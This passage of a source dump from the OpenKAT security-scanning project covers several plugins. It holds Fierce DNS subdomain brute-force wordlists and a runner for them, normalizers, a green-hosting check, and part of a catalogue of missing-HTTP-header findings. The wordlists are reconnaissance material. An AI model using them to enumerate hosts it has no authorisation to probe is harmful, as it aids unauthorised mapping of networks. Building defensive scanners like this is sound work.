nonepiece\nbryan\nsaas\nopel\nflorence\nblacklist\nskin\nworkspace\ntheta\nnotebook\nfreddy\nelmo\nwww.webdesign\nautoconfig.travel\nsql3\nfaith\ncody\nnuke\nmemphis\nchrome\ndouglas\nwww24\nautoconfig.search\nwww.analytics\nforge\ngloria\nharry\nbirmingham\nzebra\nwww.123\nlaguna\nlamour\nigor\nbrs\npolar\nlancaster\nwebdisk.portal\nautoconfig.img\nautodiscover.img\nother\nwww19\nsrs\ngala\ncrown\nv5\nfbl\nsherlock\nremedy\ngw-ndh\nmushroom\nmysql8\nsv5\ncsp\nmarathon\nkent\ncritical\ndls\ncapricorn\nstandby\ntest15\nwww.portfolio\nsavannah\nimg13\nveritas\nmove\nrating\nsound\nzephyr\ndownload1\nwww.ticket\nexchange-imap.its\nb5\nandrea\ndds\nepm\nbanana\nsmartphone\nnicolas\nphpadmin\nwww.subscribe\nprototype\nexperts\nmgk\nnewforum\nresult\nwww.prueba\ncbf2\ns114\nspp\ntrident\nmirror2\ns112\nsonia\nnnov\nwww.china\nalabama\nphotogallery\nblackjack\nlex\nhathor\ninc\nxmas\ntulip\nand\ncommon-sw1\nbetty\nvo\nwww.msk\npc2\nschools\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_fierce/lists/default.txt",
    "content": "0\n01\n02\n03\n1\n10\n11\n12\n13\n14\n15\n159\n16\n167\n17\n18\n19\n190\n2\n20\n202\n208\n209\n212\n213\n216\n237\n244\n3\n3com\n4\n4k\n5\n59\n6\n61\n7\n8\n9\n98-62\nHINET-IP\nILMI\nUnused\na\na.auth-ns\na01\na02\na1\na2\nabc\nabhsia\nabout\nac\nacademico\nacceso\naccess\naccounting\naccounts\nacessonet\nacid\nactivestat\nad\nadam\nadkit\nadmin\nadministracion\nadministrador\nadministrator\nadministrators\nadmins\nads\nadserver\nadsl\nadslgp\nadvance\nae\naf\naffiliate\naffiliates\nafiliados\nag\nagenda\nagent\nai\naix\najax\nak\nakamai\nal\nalabama\nalaska\nalbq\nalbuquerque\nalerts\nalestra\nalpha\nalterwind\nam\namarillo\namedd\namericas\nan\nanaheim\nanalyzer\nannounce\nannouncements\nantivirus\nao\nap\napache\napg\napol\napollo\napp\napp01\napp1\napple\napplication\napplications\napplwi\napps\nappserver\naq\nar\narc\narchie\narcsight\nargentina\narizona\narkansas\narlington\narpa\nars\nas\nas400\nasia\nasianet\nasm\nasterix\nat\nathena\natlanta\natlas\natt\nau\nauction\naustin\nausttx\nauth\nauto\nav\navailable\navantel\naw\nayuda\naz\nb\nb.auth-ns\nb01\nb02\nb1\nb2\nb2b\nb2c\nba\nback\nbackend\nbackup\nbaker\nbakersfield\nbalance\nbalancer\nbaltimore\nbanking\nbayarea\nbb\nbbdd\nbbs\nbchsia\nbcvloh\nbd\nbdc\nbe\nbea\nbeta\nbf\nbg\nbgk\nbh\nbhm\nbi\nbigpond\nbilling\nbiz\nbiztalk\nbj\nblack\nblackberry\nbliss\nblog\nblogs\nblue\nblueyonder\nbm\nbn\nbna\nbnc\nbo\nbob\nbof\nbois\nboise\nbol\nbolsa\nbootp\nborder\nboston\nboulder\nboy\nbpb\nbr\nbrasiltelecom\nbravo\nbrazil\nbredband\nbritian\nbroadband\nbroadcast\nbroker\nbronze\nbrown\nbs\nbsd\nbsd0\nbsd01\nbsd02\nbsd1\nbsd2\nbt\nbtas\nbuffalo\nbug\nbuggalo\nbugs\nbugzilla\nbuild\nbulletins\nburn\nburner\nbuscador\nbusiness\nbuy\nbv\nbw\nby\nbz\nc\nc.auth-ns\nca\ncable\ncache\ncae\ncafe\ncalendar\ncalifornia\ncall\ncalvin\ncanada\ncanal\ncanon\ncareers\ncatalog\ncc\nccgg\ncd\ncdburner\ncdn\ncert\ncertificates\ncertify\ncertserv\ncertsrv\ncf\ncg\ncgi\nch\nchannel\nchannels\ncharlie\ncharlotte\nchat\nchats\nchatserver\nchcgil\ncheck\ncheckpoint\nchi\nchicago\nchs\nci\ncicril\ncidr\ncims\ncinci\ncincinnati\ncisco\ncitrix\nck\ncl\nclass\nclasses\nclassifieds\nclassroom\ncleveland\nclicktrack\nclient\nclientes\nclients\nclsp\nclt\nclta\nclub\nclubs\ncluster\nclusters\ncm\ncmail\ncms\ncn\nco\ncocoa\ncode\ncodetel\ncoldfusion\ncolombus\ncolorado\ncolumbus\ncom\ncommerce\ncommerceserver\ncommunigate\ncommunity\ncompaq\ncompras\ncompute-1\ncon\nconcentrator\nconf\nconference\nconferencing\nconfidential\nconnect\nconnecticut\nconsola\nconsole\nconsult\nconsultant\nconsultants\nconsulting\nconsumer\ncontact\ncontent\ncontracts\ncore\ncore0\ncore01\ncork\ncorp\ncorp-eur\ncorpmail\ncorporate\ncorreo\ncorreoweb\ncortafuegos\ncounterstrike\ncourses\ncpe\ncr\ncricket\ncrm\ncrs\ncs\ncso\ncss\nct\ncu\ncust\ncust-adsl\ncust1\ncust10\ncust100\ncust101\ncust102\ncust103\ncust104\ncust105\ncust106\ncust107\ncust108\ncust109\ncust11\ncust110\ncust111\ncust112\ncust113\ncust114\ncust115\ncust116\ncust117\ncust118\ncust119\ncust12\ncust120\ncust121\ncust122\ncust123\ncust124\ncust125\ncust126\ncust13\ncust14\ncust15\ncust16\ncust17\ncust18\ncust19\ncust2\ncust20\ncust21\ncust22\ncust23\ncust24\ncust25\ncust26\ncust27\ncust28\ncust29\ncust3\ncust30\ncust31\ncust32\ncust33\ncust34\ncust35\ncust36\ncust37\ncust38\ncust39\ncust4\ncust40\ncust41\ncust42\ncust43\ncust44\ncust45\ncust46\ncust47\ncust48\ncust49\ncust5\ncust50\ncust51\ncust52\ncust53\ncust54\ncust55\ncust56\ncust57\ncust58\ncust59\ncust6\ncust60\ncust61\ncust62\ncust63\ncust64\ncust65\ncust66\ncust67\ncust68\ncust69\ncust7\ncust70\ncust71\ncust72\ncust73\ncust74\ncust75\ncust76\ncust77\ncust78\ncust79\ncust8\ncust80\ncust81\ncust82\ncust83\ncust84\ncust85\ncust86\ncust87\ncust88\ncust89\ncust9\ncust90\ncust91\ncust92\ncust93\ncust94\ncust95\ncust96\ncust97\ncust98\ncust99\ncustomer\ncustomers\ncv\ncvs\ncx\ncy\ncz\nd\nd4\nda\ndallas\ndata\ndatabase\ndatabase01\ndatabase02\ndatabase1\ndatabase2\ndatabases\ndatastore\ndatos\ndavid\ndb\ndb0\ndb01\ndb02\ndb1\ndb2\ndc\nde\ndealers\ndec\nded\ndef\ndefault\ndefiant\ndelaware\ndell\ndelta\ndelta1\ndemo\ndemon\ndemonstration\ndemos\ndenver\ndeploy\ndepot\ndes\ndesarrollo\ndescargas\ndesign\ndesigner\ndetroit\ndev\ndev0\ndev01\ndev1\ndevel\ndevelop\ndeveloper\ndevelopers\ndevelopment\ndevice\ndevserver\ndevsql\ndhcp\ndhcp-bl\ndhcp-in\ndhcp4\ndial\ndialuol\ndialup\ndigital\ndigitaltv\ndilbert\ndion\ndip\ndip0\ndir\ndirect\ndirectory\ndisc\ndiscovery\ndiscuss\ndiscussion\ndiscussions\ndisk\ndisney\ndistributer\ndistributers\ndj\ndk\ndm\ndmail\ndmz\ndnews\ndns\ndns-2\ndns0\ndns1\ndns2\ndns3\ndo\ndocs\ndocumentacion\ndocumentos\ndomain\ndomains\ndominio\ndomino\ndominoweb\ndomolink\ndoom\ndownload\ndownloads\ndowntown\ndragon\ndrupal\ndsl\ndsl-w\ndt\ndti\ndublin\ndyn\ndynamic\ndynamicIP\ndynip\ndz\ne\ne-com\ne-commerce\ne0\neagle\nearth\neast\nec\necho\necom\necommerce\ned\nedi\nedu\neducation\nedward\nee\neg\neh\nejemplo\nelpaso\nemail\nembratel\nemhril\nemployees\nempresa\nempresas\nen\nenable\neng\neng01\neng1\nengine\nengineer\nengineering\nenterprise\neonet\nepm\nepsilon\ner\nerp\nes\nesd\nesm\nespanol\nest\nestadisticas\nesx\net\neta\netb\neu\neur\neurope\nevents\nexample\nexchange\nexec\nextern\nexternal\nextranet\nf\nf5\nfalcon\nfarm\nfaststats\nfax\nfbx\nfeedback\nfeeds\nfi\nfibertel\nfield\nfile\nfiles\nfileserv\nfileserver\nfilestore\nfilter\nfind\nfinger\nfios\nfirewall\nfix\nfixes\nfj\nfk\nfl\nflash\nflorida\nflow\nfm\nfo\nfoobar\nformacion\nforo\nforos\nfortworth\nforum\nforums\nfoto\nfotos\nfoundry\nfox\nfoxtrot\nfr\nfrance\nfrank\nfred\nfreebsd\nfreebsd0\nfreebsd01\nfreebsd02\nfreebsd1\nfreebsd2\nfreeware\nfresno\nfrokca\nfront\nfrontdesk\nfs\nfsp\nftas\nftd\nftp\nftp-\nftp0\nftp2\nftp_\nftpserver\nfw\nfw-1\nfw1\nfwd\nfwsm\nfwsm0\nfwsm01\nfwsm1\ng\nga\ngaleria\ngalerias\ngalleries\ngallery\ngalway\ngames\ngamma\ngandalf\ngate\ngatekeeper\ngateway\ngauss\ngd\nge\ngemini\ngeneral\ngenericrev\ngeorge\ngeorgia\ngermany\ngf\ngg\ngh\ngi\ngiga\ngl\nglendale\nglobal\ngm\ngmail\ngn\ngo\ngold\ngoldmine\ngolf\ngopher\ngordon\ngp\ngprs\ngq\ngr\ngreen\ngroup\ngroups\ngroupwise\ngs\ngsp\ngsx\ngt\ngtcust\ngu\nguest\ngvt\ngw\ngw1\ngy\ngye\nh\nhal\nhalflife\nhawaii\nhello\nhelp\nhelpdesk\nhelponline\nhenry\nhermes\nhfc\nhi\nhidden\nhidden-host\nhighway\nhk\nhkcable\nhlrn\nhm\nhn\nhobbes\nhollywood\nhome\nhomebase\nhomer\nhomerun\nhoneypot\nhonolulu\nhost\nhost1\nhost3\nhost4\nhost5\nhotel\nhotjobs\nhoustin\nhouston\nhowto\nhp\nhpov\nhr\nhrlntx\nhsia\nhstntx\nhsv\nht\nhttp\nhttps\nhu\nhub\nhumanresources\ni\nia\nias\nibm\nibmdb\nid\nida\nidaho\nids\nie\niern\nig\niis\nil\nillinois\nim\nimages\nimail\nimap\nimap4\nimg\nimg0\nimg01\nimg02\nimpsat\nin\nin-addr\ninbound\ninc\ninclude\nincoming\nindia\nindiana\nindianapolis\ninet\ninfo\ninformix\ninfoweb\ninside\ninstall\nint\nintelignet\nintern\ninternal\ninternalhost\ninternational\ninternet\ninternode\nintl\nintranet\ninvalid\ninvestor\ninvestors\nio\niota\niowa\nip\nip215\nipcom\niplanet\niplsin\nipltin\nipmonitor\niprimus\nipsec\nipsec-gw\nipt\nipv4\niq\nir\nirc\nircd\nircserver\nireland\niris\nirvine\nirving\nirvnca\nis\nisa\nisaserv\nisaserver\nism\nisp\nisrael\nisync\nit\nitaly\nix\nj\njan\njapan\njava\njax\nje\njedi\njm\njo\njobs\njohn\njp\njrun\njsc\njuegos\njuliet\njuliette\njuniper\nk\nk12\nkansas\nkansascity\nkappa\nkb\nkbtelecom\nke\nkentucky\nkerberos\nkeynote\nkg\nkh\nki\nkilo\nking\nklmzmi\nkm\nkn\nknowledgebase\nknoxville\nkoe\nkorea\nkp\nkr\nks\nksc2mo\nkw\nky\nkz\nl\nla\nlab\nlaboratory\nlabs\nlambda\nlan\nlaptop\nlaserjet\nlasvegas\nlaunch\nlb\nlc\nldap\nlegal\nleo\nlewis\nlft\nli\nlib\nlibrary\nlima\nlincoln\nlink\nlinux\nlinux0\nlinux01\nlinux02\nlinux1\nlinux2\nlista\nlists\nlistserv\nlistserver\nlive\nlivnmi\nlk\nll\nlnk\nload\nloadbalancer\nlocal\nlocalhost\nlog\nlog0\nlog01\nlog02\nlog1\nlog2\nlogfile\nlogfiles\nlogger\nlogging\nloghost\nlogin\nlogs\nlondon\nlongbeach\nlosangeles\nlotus\nlouisiana\nlr\nls\nlsan03\nlt\nltrkar\nlu\nluke\nlv\nlw\nly\nlyris\nm\nma\nmaa\nmac\nmac1\nmac10\nmac11\nmac2\nmac3\nmac4\nmac5\nmach\nmacintosh\nmadrid\nmail\nmail2\nmailer\nmailgate\nmailhost\nmailing\nmaillist\nmaillists\nmailroom\nmailserv\nmailsite\nmailsrv\nmain\nmaine\nmaint\nmall\nmanage\nmanagement\nmanager\nmanufacturing\nmap\nmapas\nmaps\nmarketing\nmarketplace\nmars\nmarvin\nmary\nmaryland\nmassachusetts\nmaster\nmax\nmaxonline\nmc\nmci\nmco\nmd\nmdaemon\nme\nmed\nmedia\nmegaegg\nmegared\nmem\nmember\nmembers\nmemphis\nmercury\nmerlin\nmesh\nmessages\nmessenger\nmg\nmgmt\nmh\nmi\nmia\nmiamfl\nmiami\nmichigan\nmickey\nmid\nmidwest\nmike\nmilwaukee\nmilwwi\nminneapolis\nminnesota\nmirror\nmis\nmississippi\nmissouri\nmk\nml\nmm\nmn\nmngt\nmo\nmob\nmobile\nmobileonline\nmom\nmonitor\nmonitoring\nmontana\nmoon\nmoscow\nmovies\nmozart\nmp\nmp3\nmpeg\nmpg\nmpls\nmq\nmr\nmrt\nmrtg\nms\nms-exchange\nms-sql\nmsexchange\nmssnks\nmssql\nmssql0\nmssql01\nmssql1\nmsy\nmt\nmta\nmtnl\nmtu\nmu\nmultimedia\nmusic\nmv\nmw\nmweb\nmx\nmy\nmysql\nmysql0\nmysql01\nmysql1\nmz\nn\nna\nnam\nname\nnames\nnameserv\nnameserver\nnas\nnashville\nnat\nnb\nnc\nnd\nnds\nne\nnebraska\nneo\nneptune\nnet\nnetapp\nnetdata\nnetgear\nnetmeeting\nnetscaler\nnetscreen\nnetstats\nnetvision\nnetwork\nnevada\nnew\nnewhampshire\nnewjersey\nnewmexico\nneworleans\nnews\nnewsfeed\nnewsfeeds\nnewsgroups\nnewton\nnewyork\nnewzealand\nnf\nng\nnh\nni\nnigeria\nnj\nnl\nnm\nnms\nnntp\nno\nno-dns\nno-dns-yet\nnode\nnokia\nnombres\nnora\nnorth\nnorthcarolina\nnorthdakota\nnortheast\nnorthwest\nnot-set-yet\nnothing\nnoticias\nnovell\nnovember\nnp\nnr\nns\nns-\nns0\nns01\nns02\nns1\nns2\nns3\nns4\nns5\nns_\nnswc\nnt\nnt4\nnt40\nntmail\nntp\nntserver\nnu\nnull\nnv\nnw\nny\nnycap\nnz\no\noakland\noc\nocean\nocn\nodin\nodn\noffice\noffices\noh\nohio\noilfield\nok\nokc\nokcyok\noklahoma\noklahomacity\nold\nom\nomah\nomaha\nomega\nomicron\nonline\nontario\nopen\nopenbsd\nopenview\noperations\nops\nops0\nops01\nops02\nops1\nops2\nopsware\noptusnet\nor\noracle\norange\norder\norders\noregon\norion\norlando\noscar\nout\noutbound\noutgoing\noutlook\noutside\nov\nowa\nowa01\nowa02\nowa1\nowa2\nowb\nows\noxnard\np\npa\npac\npage\npager\npages\npaginas\npapa\nparis\nparners\npartner\npartners\npatch\npatches\npaul\npayroll\npbx\npc\npc01\npc1\npc10\npc101\npc11\npc12\npc13\npc14\npc15\npc16\npc17\npc18\npc19\npc2\npc20\npc21\npc22\npc23\npc24\npc25\npc26\npc27\npc28\npc29\npc3\npc30\npc31\npc32\npc33\npc34\npc35\npc36\npc37\npc38\npc39\npc4\npc40\npc41\npc42\npc43\npc44\npc45\npc46\npc47\npc48\npc49\npc5\npc50\npc51\npc52\npc53\npc54\npc55\npc56\npc57\npc58\npc59\npc6\npc60\npc7\npc8\npc9\npcmail\npcs\npda\npdc\npe\npegasus\npennsylvania\npeoplesoft\npersonal\npf\npg\npgp\nph\nphi\nphiladelphia\nphnx\nphoenix\nphoeniz\nphone\nphones\nphotos\npi\npics\npictures\npink\npipex-gw\npittsburgh\npix\npk\npki\npl\nplala\nplano\nplatinum\npltn13\npluto\npm\npm1\npn\npo\npol\npolicy\npolls\npool\npools\npop\npop3\nportal\nportals\nportfolio\nportland\npost\npostales\npostoffice\nppp\nppp1\nppp10\nppp11\nppp12\nppp13\nppp14\nppp15\nppp16\nppp17\nppp18\nppp19\nppp2\nppp20\nppp21\nppp3\nppp4\nppp5\nppp6\nppp7\nppp8\nppp9\npppoe\npptp\npr\nprensa\npress\nprima\nprinter\nprintserv\nprintserver\npriv\nprivacy\nprivate\nproblemtracker\nprod-empresarial\nprod-infinitum\nprodigy\nproducts\nprofiles\nproject\nprojects\npromo\nproxy\nprueba\npruebas\nps\npsi\npss\npt\nptld\nptr\npub\npublic\npubs\npurple\npw\npy\nq\nqa\nqmail\nqotd\nquake\nquebec\nqueen\nquotes\nr\nr01\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_fierce/main.py",
    "content": "import json\n\nfrom boefjes.plugins.kat_fierce.fierce import fierce, parse_args\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    input_ = boefje_meta[\"arguments\"][\"input\"]\n    hostname = input_[\"name\"]\n    args = parse_args([\"--domain\", hostname])\n    results = fierce(**vars(args))\n\n    return [(set(), json.dumps(results))]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_fierce/normalize.py",
    "content": "import json\nfrom collections.abc import Iterable\nfrom ipaddress import IPv4Address, ip_address\n\nfrom tldextract import tldextract\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models.ooi.dns.zone import Hostname, ResolvedHostname\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6, Network\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    results = json.loads(raw)\n\n    internet = Network(name=\"internet\")\n    yield internet\n\n    for _, subdomain in results[\"subdomains\"].items():\n        hostname = subdomain[\"url\"].rstrip(\".\")\n        registered_domain = tldextract.extract(hostname).top_domain_under_public_suffix\n\n        registered_domain_ooi = Hostname(name=registered_domain, network=internet.reference)\n        yield registered_domain_ooi\n        hostname_ooi = Hostname(\n            name=hostname, network=internet.reference, registered_domain=registered_domain_ooi.reference\n        )\n        yield hostname_ooi\n\n        resolved_ip = subdomain[\"ip\"]\n        if isinstance(ip_address(resolved_ip), IPv4Address):\n            resolved_ip_ooi = IPAddressV4(network=internet.reference, address=resolved_ip)\n        else:\n            resolved_ip_ooi = IPAddressV6(network=internet.reference, address=resolved_ip)\n        yield resolved_ip_ooi\n\n        resolved_hostname_ooi = ResolvedHostname(hostname=hostname_ooi.reference, address=resolved_ip_ooi.reference)\n        yield resolved_hostname_ooi\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_fierce/normalizer.json",
    "content": "{\n  \"id\": \"kat_fierce_normalize\",\n  \"name\": \"Fierce\",\n  \"description\": \"Parse the DNS reconnaissance data from Fierce into hostnames and/or IP addresses.\",\n  \"consumes\": [\n    \"boefje/fierce\"\n  ],\n  \"produces\": [\n    \"IPAddressV6\",\n    \"DNSARecord\",\n    \"Hostname\",\n    \"DNSAAAARecord\",\n    \"IPAddressV4\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_finding_normalizer/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_finding_normalizer/normalize.py",
    "content": "import re\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import CVEFindingType, Finding, KATFindingType, RetireJSFindingType, SnykFindingType\n\nCVE_PATTERN = re.compile(r\"CVE-\\d{4}-\\d{4,}\")\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    ooi = Reference.from_str(input_ooi[\"primary_key\"])\n    finding_ids_str = raw.decode()\n    finding_ids_list = [fid.strip().upper() for fid in finding_ids_str.split(\",\")]\n\n    finding_type_mapping = {\n        \"CVE\": CVEFindingType,\n        \"KAT\": KATFindingType,\n        \"SNYK\": SnykFindingType,\n        \"RETIREJS\": RetireJSFindingType,\n    }\n\n    for finding_id in finding_ids_list:\n        parts = finding_id.split(\"-\")\n        prefix = parts[0]\n\n        if prefix in finding_type_mapping:\n            if prefix == \"CVE\" and not CVE_PATTERN.match(finding_id):\n                raise ValueError(f\"{finding_id} is not a valid CVE ID\")\n\n            finding_type = finding_type_mapping[prefix](id=finding_id)\n            finding = Finding(\n                finding_type=finding_type.reference, ooi=ooi, description=f\"{finding_id} is found on this OOI\"\n            )\n            yield finding_type\n            yield finding\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_finding_normalizer/normalizer.json",
    "content": "{\n  \"id\": \"kat_generic_finding_normalize\",\n  \"name\": \"Finding types\",\n  \"description\": \"Parses data to create (CVE) Findings.\",\n  \"consumes\": [\n    \"openkat/finding\"\n  ],\n  \"produces\": [\n    \"Finding\",\n    \"CVEFindingType\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_green_hosting/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_green_hosting/boefje.json",
    "content": "{\n  \"id\": \"green-hosting\",\n  \"name\": \"GreenHosting\",\n  \"description\": \"Use the Green Web Foundation Partner API to check whether the website is hosted on a green server. Meaning it runs on renewable energy and/or offsets its carbon footprint. Does not require an API key.\",\n  \"consumes\": [\n    \"Website\"\n  ],\n  \"scan_level\": 1,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\",\n  \"oci_arguments\": [\n    \"kat_green_hosting.main\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_green_hosting/description.md",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_green_hosting/main.py",
    "content": "import requests\n\nAPI_URL = \"https://admin.thegreenwebfoundation.org\"\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    input_ = boefje_meta[\"arguments\"][\"input\"]\n    hostname = input_[\"hostname\"][\"name\"]\n\n    response = requests.get(f\"{API_URL}/greencheck/{hostname}\", timeout=30)\n\n    return [(set(), response.content)]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_green_hosting/normalize.py",
    "content": "import json\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    data = json.loads(raw.decode())\n\n    website_reference = Reference.from_str(input_ooi[\"primary_key\"])\n\n    if not data[\"green\"]:\n        ft = KATFindingType(id=\"KAT-NO-GREEN-HOSTING\")\n        yield ft\n        yield Finding(\n            finding_type=ft.reference,\n            ooi=website_reference,\n            description=\"This server is not running in a 'green' datacenter according to the Green Web Foundation.\",\n        )\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_green_hosting/normalizer.json",
    "content": "{\n  \"id\": \"kat_green_hosting_normalize\",\n  \"description\": \"Parses the Green Hosting output into findings.\",\n  \"name\": \"Green Hosting\",\n  \"consumes\": [\n    \"boefje/green-hosting\"\n  ],\n  \"produces\": [\n    \"KATFindingType\",\n    \"Finding\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_kat_finding_types/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_kat_finding_types/boefje.json",
    "content": "{\n  \"id\": \"kat-finding-types\",\n  \"name\": \"KAT Finding Types\",\n  \"description\": \"Hydrate information of KAT finding types.\",\n  \"consumes\": [\n    \"KATFindingType\"\n  ],\n  \"scan_level\": 0,\n  \"enabled\": true,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\",\n  \"oci_arguments\": [\n    \"kat_kat_finding_types.main\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_kat_finding_types/description.md",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_kat_finding_types/kat_finding_types.json",
    "content": "{\n  \"KAT-NO-HSTS\": {\n    \"name\":\"Missing HTTP Strict Transport Security (HSTS) header\",\n    \"description\": \"The website does not use HTTP Strict Transport Security (HSTS). HSTS ensures that browsers can only access the website using encryption (HTTPS).\",\n    \"source\": \"https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security\",\n    \"risk\": \"medium\",\n    \"impact\": \"Absence of the HSTS header allows clients to connect insecurely to the website. This may result in eavesdropping of (sensitive) data by an attacker. Enabling the HSTS header forces the web browser to choose HTTPS instead of HTTP.\",\n    \"recommendation\": \"Configure the Strict-Transport-Security HTTP header for all websites.\"\n  },\n  \"KAT-NO-CSP\": {\n    \"name\":\"Missing Content Security Policy (CSP) header\",\n    \"description\": \"The website does not use a Content Security Policy (CSP) configuration. CSP is used to mitigate certain attacks, including loading malicious code (JavaScript) inside the users browser (XSS).\",\n    \"source\": \"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP\",\n    \"risk\": \"medium\",\n    \"impact\": \"The usage possibility of JavaScript is not limited by the website. If the website contains a cross-site scripting vulnerability, then JavaScript code can be injected into the web page. This code is then executed by the browser of the victim. If a well-established Content Security Policy is active, the attacker can inject JavaScript code into the browser of the victim, but then the code will not get executed by the browser. A good configured Content Security Policy is a strong protection against cross-site scripting vulnerabilities.\",\n    \"recommendation\": \"Set the Content-Security-Policy HTTP header in all HTTP answers. Make sure that when the Content Security Policy is violated by a browser, that this violation is logged and monitored. Point the content security violation variable report-uri to a server-side log script. Implement a process that periodically analyses these logs for programming errors and hack attacks.\"\n  },\n  \"KAT-X-PERMITTED-CROSS-DOMAIN-POLICIES\": {\n    \"name\":\"Non-standard X-Permitted-Cross-Domain-Policies header detected\",\n    \"description\": \"The HTTP header X-Permitted-Cross-Domain-Policies is missing in HTTP responses. This header is not officially supported by Mozilla MDN.\",\n    \"source\": \"https://owasp.org/www-project-secure-headers/#div-headers\",\n    \"risk\": \"recommendation\",\n    \"impact\": \"When the value of this header is not set to master- only, Adobe Flash or Adobe Acrobat (and possibly other software) can also look at cross-domain configuration files hosted at the web server.\",\n    \"recommendation\": \"This header is not supported by default by Mozilla. If this header is required for your environment: Set the HTTP header X-Permitted-Cross- Domain-Policies: none in all HTTP responses. Use value master-only if a Flash or Acrobat cross- domain configuration file is used that is placed in the root of the web server.\"\n  },\n  \"KAT-EXPLICIT-XSS-PROTECTION\": {\n    \"name\":\"Deprecated X-XSS-Protection header detected\",\n    \"description\": \"The 'X-XSS-Protection' header is a deprecated header previously used to prevent against Cross-Site-Scripting attacks. Support in modern browsers could introduce XSS attacks again.\",\n    \"source\": \"https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection\",\n    \"risk\": \"recommendation\",\n    \"impact\": \"Reflected cross-site scripting attacks may not be blocked.\",\n    \"recommendation\": \"Remove the deprecated header to reduce the chance of XSS attacks.\"\n  },\n  \"KAT-NO-X-FRAME-OPTIONS\": {\n    \"name\":\"Missing No-X-Frame-Options header\",\n    \"description\": \"The HTTP header 'X-Frame-Options' is missing. It is possible that the website can be loaded via an <iframe>.\",\n    \"source\": \"https://owasp.org/www-project-secure-headers/#div-headers\",\n    \"risk\": \"recommendation\",\n    \"impact\": \"There is a change that clickjacking is possible. This is an attack technique in which the website is invisibly loaded. On top of the original website, another malicious website is loaded that contains specially placed buttons or links. When the victim clicks on those buttons or links, the mouse click and thus its corresponding action is performed on the original website (which is made invisible). If the victim is logged in, then this click can perform an unauthorized action.\",\n    \"recommendation\": \"1. Set the HTTP header <c>X-Frame- Options</c> with value deny (safest) or sameorigin in every HTTP answer for older browsers. 2. Set the frame-ancestors variable in the Content-Security-Policy header for modern browsers. 3. Add JavaScript code to all pages to ensure that these web pages may not be loaded within an <iframe>. In this manner also very old browsers are protected that do not support the HTTP header X-Frame-Options.\"\n  },\n  \"KAT-X-DNS-PREFETCH-CONTROL\": {\n    \"name\":\"Non-standard X-DNS-Prefetch-Control header detected\",\n    \"description\": \"This is a non-standard header. The X-DNS-Prefetch-Control HTTP response header controls DNS prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as URLs for items referenced by the document.\",\n    \"source\": \"https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-DNS-Prefetch-Control\",\n    \"risk\": \"recommendation\",\n    \"impact\": \"This header not production ready and thus not officially supported by Mozilla MDN.\",\n    \"recommendation\": \"If support is required: Set the HTTP header to: `X-DNS-Prefetch-Control: off` in all HTTP answers.\"\n  },\n  \"KAT-EXCPECT-CT\": {\n    \"name\":\"Deprecated Expect-CT header detected\",\n    \"description\": \"The 'Expect-CT' header is deprecated. The Expect-CT header allowed sites to opt in to reporting and/or enforcement of Certificate Transparency requirements. This header is not supported by common browsers, as certificate transparency is now a standard functionality.\",\n    \"source\": \"https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Expect-CT\",\n    \"risk\": \"recommendation\",\n    \"impact\": \"The Expect-CT header prevents the use of misissued certificates for the website from going unnoticed. This header is currently deprecated thus browsers support is limited.\",\n    \"recommendation\": \"This header is deprecated and should not be used. Set HTTP header Expect-CT in all HTTP answers and configure the report-uri variable.\"\n  },\n  \"KAT-NO-PERMISSIONS-POLICY\": {\n    \"name\":\"Missing No-Permissions-Policy header\",\n    \"description\": \"The HTTP header Permissions-Policy is missing. Via this header a website can set limits on what kind of capabilities a web pages is allowed to access in browsers that render them. For example, the header can prohibit the web page from addressing the microphone, camera, location or phone sensors.\",\n    \"source\": \"https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Permissions-Policy\",\n    \"risk\": \"recommendation\",\n    \"impact\": \"When the website has a cross-site scripting vulnerability, then the attacker exploiting this vulnerability can use all the capabilities of the victim's browser.\",\n    \"recommendation\": \"Set the Permissions-Policy HTTP header in all HTTP answers.\"\n  },\n  \"KAT-NO-REFERRER-POLICY\": {\n    \"name\":\"Missing Referrer-Policy header\",\n    \"description\": \"The HTTP header Referrer-Policy is missing in HTTP responses.\",\n    \"source\": \"https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy\",\n    